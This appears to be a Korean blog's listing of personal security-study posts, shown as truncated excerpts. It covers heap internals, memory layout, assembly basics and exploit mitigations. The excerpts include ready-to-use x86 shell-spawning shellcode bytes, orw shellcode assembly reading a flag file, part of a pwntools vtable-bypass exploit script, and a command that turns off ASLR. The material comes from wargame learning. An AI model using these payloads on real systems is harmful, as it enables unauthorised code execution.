목록보안/개인공부 (32)

32-bit 1 기본 쉘(25) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 2 setreuid(geteuid() geteuid(), exit(0)) 코드 (47) \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80 3 Linux/x86 execve /bin/sh shellcode(23) ..

https://dreamhack.io/learn/98#4 로그인 | Dreamhack dreamhack.io ptmalloc의 구현 목표는 메모리의 효율적인 관리입니다. 이 한 문장에는 여러 세부 목표가 함축되어 있습니다. 그중 핵심을 추려보면 다음과 같습니다. 메모리 낭비 방지 빠른 메모리 재사용 메모리 단편화 방지 ptmalloc2는 청크를 주요 객체로 사용한다. 청크 헤더 구조 prev_size 8바이트 인접한 직전 청크의 크기. 청크를 병합할 때 직전 청크를 찾는 데 사용됩니다. size 8바이트 현재 청크의 크기. 헤더의 크기도 포함한 값입니다. 64비트 환경에서, 사용 중인 청크 헤더의 크기는 16바이트이므로 사용자가 요청한 크기를 정렬하고, 그 값에 16바이트를 더한 값이 됩니다. flags..

char buf[0x30]; int fd = open("/tmp/flag", RD_ONLY, NULL); read(fd, buf, 0x30); write(1, buf, 0x30); 해당 코드의 shellcode를 만들어 본다. read 0x00 unsigned int fd char *buf size_t count write 0x01 unsigned int fd const char *buf size_t count open 0x02 const char *filename int flags umode_t mode 1. open push 0x67 mov rax, 0x616c662f706d742f push rax mov rdi, rsp ; rdi = "/tmp/flag" xor rsi, rsi ; rsi = 0 ;..

명령 코드 데이터 이동(Data Transfer) mov, lea 산술 연산(Arithmetic) inc, dec, add, sub 논리 연산(Logical) add, or, xor, not 비교(Comparison) cmp, test 분기(Branch) jmp, je, jg 스택(Stack) push, pop 프로시져(Procedure) call, ret, leave 시스템 콜(System call) syscall 메모리 피연산자 QWORD PTR [0x8048000] 0x8048000의 데이터를 8바이트만큼 참조 DWORD PTR [0x8048000] 0x8048000의 데이터를 4바이트만큼 참조 WORD PTR [rax] rax가 가르키는 주소에서 데이터를 2바이트 만큼 참조 syscall 요청: ..

int a = 0xa; const char *b[] = "d_str"; int c; int foo(int arg) { int d = 0xd; return 0; } int main() { int *e = malloc(sizeof(*e)); return 0; } int c; bss영역 const char *b[] 데이터 영역 int a; 데이터 영역 foo() 코드 영역 "d_str" 읽기 전용 데이터 영역 int d 스택 영역 int *e 힙 영역

코드 영역 : 우리가 작성한 코드가 저장되는 영역이다. cpu가 명령어 하나씩 가져가 처리한다. 데이터 영역 : 프로그램의 전역 변수와 정적 변수가 저장되는 영역이다. 프로그램 시작과 함께 할당되며, 종료되면 소멸한다. 스택 영역 :나무 뿌리처럼 아래에서 생겨 위로 쭉 올라가는 형태이다. 지역 변수와 매개변수 ret주소도 함께 들어가 있다. 힙 영역 :스택과 반대로 위에서 아래로 내려오는 형태의 구조이다. 힙은 사용자에 의해 공간이 동적으로 할당되고 해제 된다. class나 struct 이런곳에서도 쓰인다고 한다.

내가 쓰던 라이브러리 파일이다. glibc 2.27로 전혀 문제가 없는듯 했다. #vtable_bypass.py from pwn import * p = process("./vtable_bypass") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./vtable_bypass') print p.recvuntil("stdout: ") leak = int(p.recvuntil("\n").strip("\n"),16) libc_base = leak - libc.symbols['_IO_2_1_stdout_'] io_file_jumps = libc_base + libc.symbols['_IO_file_jumps'] io_str_overflow = io_file_..

1. ASLR 주소 공간 배열 무작위 ASLR은 데이터 영역만 무작위화 시킨다. 데이터 영역은 stack, heap, library가 있음 (바이너리 영역 무작위화는 PIE이다.) ASLR 끄기 터미널에서 해야 함 echo 0 > /proc/sys/kernel/randomize_va_space 2. Canary SFP바로 위에 랜덤 데이터가 생겨 변조되면 경고 발생함 SFP와 RET 접근을 어렵게 함 컴파일 옵션 -fno-stack-protector : canary를 끔 ***Stack Smashing Detected*** 3. PIE 바이너리 주소가 랜덤화 된다. 바이너리 주소가 offset을 가지고 있다. 실행 시 바뀐다. 컴파일 옵션 -fPIE -pie : PIE 끄기 4. NX stack, hea..